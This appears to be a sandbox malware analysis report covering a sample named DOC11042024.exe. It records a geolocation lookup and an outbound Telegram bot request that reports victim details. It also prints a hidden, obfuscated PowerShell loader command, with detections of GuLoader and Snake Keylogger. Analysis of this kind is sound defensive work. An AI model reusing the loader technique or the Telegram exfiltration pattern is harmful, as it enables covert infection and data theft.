2024-11-04 06:13:53 UTC	155	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texa
2024-11-04 06:13:53 UTC	204	IN	Data Raw: 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: s</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49901	149.154.167.220	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:54 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:305090%0D%0ADate%20and%20Time:%2004/11/2024%20/%2016:35:45%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20305090%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-04 06:13:55 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 04 Nov 2024 06:13:54 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-04 06:13:55 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	01:13:01
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\DOC11042024.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DOC11042024.exe"
Imagebase:	0x400000
File size:	677'344 bytes
MD5 hash:	2119B4C15A036B7E407A7483A89ECDBF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	01:13:02
Start date:	04/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -windowstyle hidden "$Unproded=Get-Content -raw 'C:\Users\user\AppData\Roaming\turkeyism\beredskabscentre\Tiderip213\Isbjergs.Krs';$Acockbill=$Unproded.SubString(73125,3);.$Acockbill($Unproded) "
Imagebase:	0x560000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2345390385.000000000A530000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	01:13:02
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	01:13:31
Start date:	04/11/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x9b0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.3282055116.0000000021C11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false